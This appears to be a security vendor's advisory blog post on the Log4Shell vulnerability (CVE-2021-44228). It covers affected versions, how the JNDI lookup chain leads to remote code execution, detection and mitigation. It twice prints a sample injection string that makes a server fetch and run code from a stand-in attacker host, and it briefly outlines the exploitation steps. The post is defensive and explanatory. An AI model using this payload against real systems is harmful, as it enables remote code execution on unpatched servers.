Why Log4Shell could be the worst software vulnerability ever

What you need to know about Log4Shell (CVE-2021-44228)

Issue:	Remote code execution (RCE) vulnerability in the Apache Log4j library for Java
Name:	CVE-2021-44228
Vulnerable versions:	Log4j 2.0 to 2.14.1
Patched version:	Log4j 2.17.0 or newer (NOTE: 2.15.0 and 2.16.0 have been found to have other vulnerabilities)
Severity:	Highly critical
Scale:	Global, actively targeted
Affected software:	All Java applications and frameworks that depend on the vulnerable library
First reported:	Dec 9th, 2021
Remediation:	Patch immediately to Log4j v2.17.0 (or newer) or apply temporary mitigation until patched
Detected by Invicti:	Yes, Standard and Enterprise on-demand – see our support page for instructions on detecting and reporting

Invicti does not use Log4j, and we do not ship it with our products. However, if you are running a Tomcat server, you may have configured it to route logging and tracing information through Log4j. If you have Log4j installed, we recommend immediately upgrading it to version 2.17.0 or newer.

How to exploit CVE-2021-44228

The vulnerability is high-impact yet extremely easy to exploit. The attacker simply needs to prepare a malicious Java file, put it on a server they control, and include the following string in any data that will be logged by the application server:

${jndi:ldap://attackers-server.com/malicious-java-file}

When the vulnerable server logs this string, Log4j will retrieve and execute Java code from an attacker-controlled server, allowing arbitrary code execution. If the code is a remote shell, the attacker will obtain a local shell with the privileges of the system user running the vulnerable application.

Who is affected by CVE-2021-44228

Considering that servers log many types of data, the attack surface is massive and includes headers as well as more visible inputs. Log4j is used by many popular Java application frameworks and packages, such as Struts, Hadoop, Elasticsearch, Grails, Kafka, and more. This means the vulnerability is embedded deeply not only in Java-based web applications but also in hundreds of thousands of enterprise apps. And unlike the SolarWinds hack, which affected (in global terms) relatively few organizations and needed manual effort to exploit specific systems, Log4Shell is ridiculously easy to exploit. Quite simply, if you have a vulnerable Log4j version anywhere in your live Java environment, you are at risk of remote code execution (RCE).

Log4Shell explained

CVE-2021-44228 is a prime example of how several seemingly innocent or only slightly insecure features can be stacked into a devastating vulnerability:

1. Apart from plain text, Log4j also supports variables for easily inserting additional data into logs, such as timestamps or software versions.
2. These variables can include calls via JNDI (Java Naming and Directory Interface), for example to retrieve a user name from a central directory to put it in the log. LDAP is among the supported directory protocols (though others will also work for the attack).
3. Just in case this target data is too big for an LDAP response, you can also provide an external URL as the data source.
4. While this has nothing to do with logging, it so happens that JNDI can be used to retrieve not only text but also other data, for example stored application objects to be loaded and recreated.

Looking again at the sample exploit string, you can see how combining these four features can lead to remote code execution through JNDI injection:

${jndi:ldap://attackers-server.com/malicious-java-file}

The attacker puts this string somewhere where it will be logged by the server – a request header, host name, device name, or any number of other places. The server asks Log4j to log this string. Log4j sees a variable with a JNDI call referring to an LDAP resource, in this case a Java class file. It then retrieves the file from the attacker’s server and deserializes it to recreate the Java class that it contains. And if that class is a remote shell, commiserations – you’ve just been hacked.

How to detect the Log4Shell vulnerability

If you have any Java applications that use Log4j older than 2.15.0, you are vulnerable to RCE via CVE-2021-44228 (and patched versions older than 2.17.0 have now been found to have other serious vulnerabilities). Note that Log4j may be installed by default with Java software such as application servers and development frameworks, potentially in multiple locations, so double-check even if you think you don't have it deployed anywhere. See the Log4j project site for details about both vulnerabilities and mitigation. UPDATED: You can use Invicti (Standard and Enterprise on-demand) to test if your web applications are vulnerable to Log4Shell attacks. You can add the Log4Shell security check to your existing scan policies or create a separate scan policy to check only for this vulnerability in a matter of minutes. See our support page for detailed instructions on scanning for the Log4Shell vulnerability.

How to mitigate CVE-2021-44228

A fix is already available, so the recommended course of action is to update to Log4j 2.17.0 (or newer) immediately. Note that the inital patch in version 2.15.0 was found to be vulnerable to a separate DoS and RCE vulnerability (CVE-2021-45046), while 2.16.0 is vulnerable to DoS (CVE-2021-45105) and untrusted deserialization attacks (CVE-2021-4104). Also, previously published temporary mitigations are no longer bulletproof, as they may be ineffective in some cases. If you cannot update to 2.17.0 (or newer) right now, you have the following options for temporary mitigation (see Lunasec’s mitigation guide for detailed information):

• You can manually modify JNDI in place to temporarily block JNDI-based attacks until you can update. The Log4jHotPatch tool is available to do this even while the server is running. Remote live patching via the vulnerability itself is also possible as a last resort.
• Previous temporary mitigations may still protect against CVE-2021-44228 in some cases, but remember you may now be vulnerable to one or more of the newly-discovered vulnerabilities listed above. For 2.10 or later, you can at least reduce risk by setting the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true and restarting your application. This may or may not work, so updating to 2.17.0 is the only recommended course of action.

What this means for the future of web application development

Looking beyond the current global rush to patch the Log4Shell vulnerability, having a robust and multi-layer approach to security continues to be the best strategy to protect your company from future threats. If you are not yet running application security testing as part of your SDLC, please contact us to get started.